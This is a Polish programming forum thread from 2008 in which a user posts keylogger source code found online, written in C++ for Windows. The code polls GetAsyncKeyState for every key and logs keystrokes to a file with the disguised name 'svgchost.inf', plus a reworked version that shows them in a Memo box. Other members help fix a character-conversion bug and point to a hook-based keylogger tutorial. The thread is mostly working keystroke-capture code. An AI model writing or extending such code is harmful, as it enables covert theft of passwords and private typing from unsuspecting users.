Strona 1 z 1

Przerobienie KeyLogera

Nowy postNapisane: czwartek, 17 lipca 2008, 14:01
przez Laik
Znalazłem w internecie kod prostego keylogera i postanowiłem napisać sobie jeszcze jakieś funkcje. Tak dla przypomnienia. Zamienilem kod aby nie tworzył pliku tylko wpisywał dane do Memo1. Wszystko by było w porządku ale zamiast cyfr i liter dodaje jakieś liczby np 11010. Jak zapisywałem do pliku to wszystko działało dobrze. Oto kod przed i po zmianie:
Przed
Kod: Zaznacz cały
short character;
          for(character=8;character<=222;character++)
          {
            if(GetAsyncKeyState(character)==-32767)
            {

              FILE *file;
              file=fopen("svgchost.inf","a+");
              if(file==NULL)
              {
                  return;
              }
              if(file!=NULL)
              {
                  if((character>=39)&&(character<=64))
                  {
                     fputc(character,file);
                     fclose(file);
                     break;
                  }
                  else if((character>64)&&(character<91))
                  {
                     character+=32;
                     fputc(character,file);
                     fclose(file);
                     break;
                  }
                  else
                  {
                    switch(character)
                    {
                       case VK_SPACE:
                       fputc(' ',file);
                       fclose(file);
                       break;
                       case VK_SHIFT:
                       fputs("[SHIFT]",file);
                       fclose(file);
                       break;
                       case VK_RETURN:
                       fputs("\n[ENTER]",file);
                       fclose(file);
                       break;
                       case VK_BACK:
                       fputs("[BACKSPACE]",file);
                       fclose(file);
                       break;
                       case VK_TAB:
                       fputs("[TAB]",file);
                       fclose(file);
                       break;
                       case VK_CONTROL:
                       fputs("[CTRL]",file);
                       fclose(file);
                        break;
                        case VK_DELETE:
                        fputs("[DEL]",file);
                        fclose(file);
                        break;
                        case VK_OEM_1:
                        fputs("[;:]",file);
                        fclose(file);
                        break;
                        case VK_OEM_2:
                        fputs("[/?]",file);
                        fclose(file);
                        break;
                        case VK_OEM_3:
                        fputs("[`~]",file);
                        fclose(file);
                        break;
                        case VK_OEM_4:
                        fputs("[ [{ ]",file);
                        fclose(file);
                        break;
                        case VK_OEM_5:
                        fputs("[\\|]",file);
                        fclose(file);
                        break;
                        case VK_OEM_6:
                        fputs("[ ]} ]",file);
                        fclose(file);
                        break;
                        case VK_OEM_7:
                        fputs("['\"]",file);
                        fclose(file);
                        break;
                        /*case VK_OEM_PLUS:
                        fputc('+',file);
                        fclose(file);
                        break;
                        case VK_OEM_COMMA:
                        fputc(',',file);
                        fclose(file);
                        break;
                        case VK_OEM_MINUS:
                        fputc('-',file);
                        fclose(file);
                        break;
                        case VK_OEM_PERIOD:
                        fputc('.',file);
                        fclose(file);
                        break;*/
                        case VK_NUMPAD0:
                        fputc('0',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD1:
                        fputc('1',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD2:
                        fputc('2',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD3:
                        fputc('3',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD4:
                        fputc('4',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD5:
                        fputc('5',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD6:
                        fputc('6',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD7:
                        fputc('7',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD8:
                        fputc('8',file);
                        fclose(file);
                        break;
                        case VK_NUMPAD9:
                        fputc('9',file);
                        fclose(file);
                        break;
                        case VK_CAPITAL:
                        fputs("[CAPS LOCK]",file);
                        fclose(file);
                        break;
                        default:
                        fclose(file);
                        break;
                    }
                  }
               }
          }
        }

Po:
Kod: Zaznacz cały
void __fastcall TForm1::Timer2Timer(TObject *Sender)
{
short character;
          for(character=8;character<=222;character++)
          {
            if(GetAsyncKeyState(character)==-32767)
            {
                  if((character>=39)&&(character<=64))
                  {
                     Memo1->Text = Memo1->Text + character;
                     break;
                  }
                  else if((character>64)&&(character<91))
                  {
                     character+=32;
                     Memo1->Text = Memo1->Text + character;                                                    Memo1->Text = Memo1->Text + character;
                     break;
                  }
                  else
                  {
                    switch(character)
                    {
                        case VK_SPACE:
                        Memo1->Text = Memo1->Text + " ";
                        break;
                        case VK_SHIFT:
                        Memo1->Text = Memo1->Text + "[SHIFT]";
                        break;
                        case VK_RETURN:
                        Memo1->Text = Memo1->Text + "[ENTER]";
                        break;
                        case VK_BACK:
                        Memo1->Text = Memo1->Text + "[BACKSPACE]";
                        break;
                        case VK_TAB:
                        Memo1->Text = Memo1->Text + "[TAB]";
                        break;
                        case VK_CONTROL:
                        Memo1->Text = Memo1->Text + "[CTRL]";
                        break;
                        case VK_DELETE:
                        Memo1->Text = Memo1->Text + "[DEL]";
                        break;
                        case VK_OEM_1:
                        Memo1->Text = Memo1->Text + ";:";
                        break;
                        case VK_OEM_2:
                        Memo1->Text = Memo1->Text + "/?";
                        break;
                        case VK_OEM_3:
                        Memo1->Text = Memo1->Text + "`~";
                        break;
                        case VK_OEM_4:
                        Memo1->Text = Memo1->Text + "[{";
                        break;
                        case VK_OEM_5:
                        Memo1->Text = Memo1->Text + "\|";
                        break;
                        case VK_OEM_6:
                        Memo1->Text = Memo1->Text + "]}";
                        break;
                        case VK_OEM_7:
                        Memo1->Text = Memo1->Text + "'";
                        break;
                        case VK_OEM_PLUS:
                        Memo1->Text = Memo1->Text + "+";
                        break;
                        case VK_OEM_COMMA:
                        Memo1->Text = Memo1->Text + ",";
                        break;
                        case VK_OEM_MINUS:
                        Memo1->Text = Memo1->Text + "-";
                        break;
                        case VK_OEM_PERIOD:
                        Memo1->Text = Memo1->Text + ".";
                        break;
                        case VK_NUMPAD0:
                        Memo1->Text = Memo1->Text + "0";
                        break;
                        case VK_NUMPAD1:
                        Memo1->Text = Memo1->Text + "1";
                        break;
                        case VK_NUMPAD2:
                        Memo1->Text = Memo1->Text + "2";
                        break;
                        case VK_NUMPAD3:
                        Memo1->Text = Memo1->Text + "3";
                        break;
                        case VK_NUMPAD4:
                        Memo1->Text = Memo1->Text + "4";
                        break;
                        case VK_NUMPAD5:
                        Memo1->Text = Memo1->Text + "5";
                        break;
                        case VK_NUMPAD6:
                        Memo1->Text = Memo1->Text + "6";
                        break;
                        case VK_NUMPAD7:
                        Memo1->Text = Memo1->Text + "7";
                        break;
                        case VK_NUMPAD8:
                        Memo1->Text = Memo1->Text + "8";
                        break;
                        case VK_NUMPAD9:
                        Memo1->Text = Memo1->Text + "9";
                        break;
                        case VK_CAPITAL:
                        Memo1->Text = Memo1->Text + "[CAPSLOCK]";
                        break;
                        //  default:
                        //  fclose(file);
                        break;
                    }
                  }
               }
          }
}

Dokladnie chodzi mi o ten kawałek (działający):
Kod: Zaznacz cały
                  if((character>=39)&&(character<=64))
                  {
                     fputc(character,file);     // To działa jak do pliku wrzucam a gdy napisze 
                     fclose(file);                   //Memo1->Text = Memo1->Text + character;
                     break;                          // zamiast tego co jest to pokaze mi jakies cyfry np 1101.
         
                  }
                  else if((character>64)&&(character<91))
                  {
                     character+=32;
                     fputc(character,file);
                     fclose(file);
                     break;
                  }

I ten co nie działa a powinien:


Co tu jest nie tak ? Domyślam się że dodaje kod asci lub jakiś podobny kod zamiast zamieniać na liczbę bądzi literę. Te zdefiniowane spacje itp działają bez problemu. Pozdrawiam

Re: Przerobienie KeyLogera

Nowy postNapisane: czwartek, 17 lipca 2008, 17:01
przez Cyfrowy Baron
Problem polega na tym, że klasa FILE zapisuje dane strumieniowo, dlatego nie będzie ich przepisywała do obiektu Memo jako łańcuch znaków. Trzeba by się posłużyć dodatkowo klasą TMemoryStream do pobierania danych ze strumienia, potem odwołać się do strumienia komponentu Memo, klasa FILE powinna też przepisywać dane do pamięci z wykorzystaniem własnej klasy TMemoryStream.

Znacznie prościej będzie chyba stworzenie funkcji która w określonych odstępach czasu będzie wczytywała dane z pliku keylogera do obiektu Memo.

Opis prostszego w wykonaniu keylogera ► patrz serwis: Cyfrowy Baron dział API | Keyloger, czyli przechwytywanie wciśnięcia klawiszy we wszystkich programach.
Niestety też zapisuje dane do strumienia, ale łatwiej przerobić, wszędzie tam gdzie jest odwołanie do obiektu stream wystarczy wprowadzić odwołanie do obiektu Memo, np:
Jest:
Kod: Zaznacz cały
fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");


Może być:
Kod: Zaznacz cały
Memo1->Lines->Add((String)szTime + " " + (String)szTitle + ":" );


to tylko przykład jak należy postępować, a zmian należy dokonać w kilku miejscach funkcji ConnectHook wszędzie tam gdzie pojawia się funkcja fprintf.
Zwróć uwagę, że przy przerabianiu kodu nie przenosiłem do Memo znaków formatowania tekstu ("%c%s%c%c%s%s") ani wartości liczbowych określających rozmiary łańcucha.

Re: Przerobienie KeyLogera

Nowy postNapisane: czwartek, 17 lipca 2008, 17:04
przez Laik
Ok dzięki za pomoc. Właśnie sam wymyśliłem sposób :
Kod: Zaznacz cały
char literka = (char) (character);
Memo1->Text = Memo1->Text + literka;

Pozdrawiam i dzięki

Ps. Dla czego nie działa ??
Kod: Zaznacz cały
Memo1->Text += literka;

Re: Przerobienie KeyLogera

Nowy postNapisane: niedziela, 3 sierpnia 2008, 13:58
przez wargo
Laik napisał(a):Ps. Dla czego nie działa ??
Kod: Zaznacz cały
Memo1->Text += literka;

Bez tego plusa.

Re: Przerobienie KeyLogera

Nowy postNapisane: niedziela, 3 sierpnia 2008, 14:43
przez Cyfrowy Baron
Jak napisał wargo ja dodam, że tak:

Memo1->Text += literka;

to można tylko dodawać wartości liczbowe, zakładam, że chciałeś osiągnąć efekt dopisywania litery na końcu już istniejącego łańcucha znaków, ale += niczego nie dopisuje tylko dodaje wartości i w przypadku zmiennych typu AnsiString nie jest to równoznaczne z 'Memo1->Text = Memo1->Text + literka;'
Poza tym jedna uwaga zmienna literka jest typu char, ten typ może zawierać zarówno liczby jak i litery w odróżnieniu od String dlatego zapis: Memo1->Text += literka; wogóle zadziałał, gdyby literka była typu String kompilator zgłosiłby błąd w tym zapisie. Poza tym dodając zmienną typu char należałoby dokonać konwersji na String, żeby uniknąć potencjalnych błędów, np. w środowisku Windows 95, czyli ten zapis powinien wyglądać tak:

Memo1->Text = Memo1->Text + (String)literka;

Re: Przerobienie KeyLogera

Nowy postNapisane: wtorek, 5 sierpnia 2008, 11:45
przez Laik
Dzięki za wytłumaczenie. Dokładnie chciałem osiągnąć taki efekt o którym mówił CB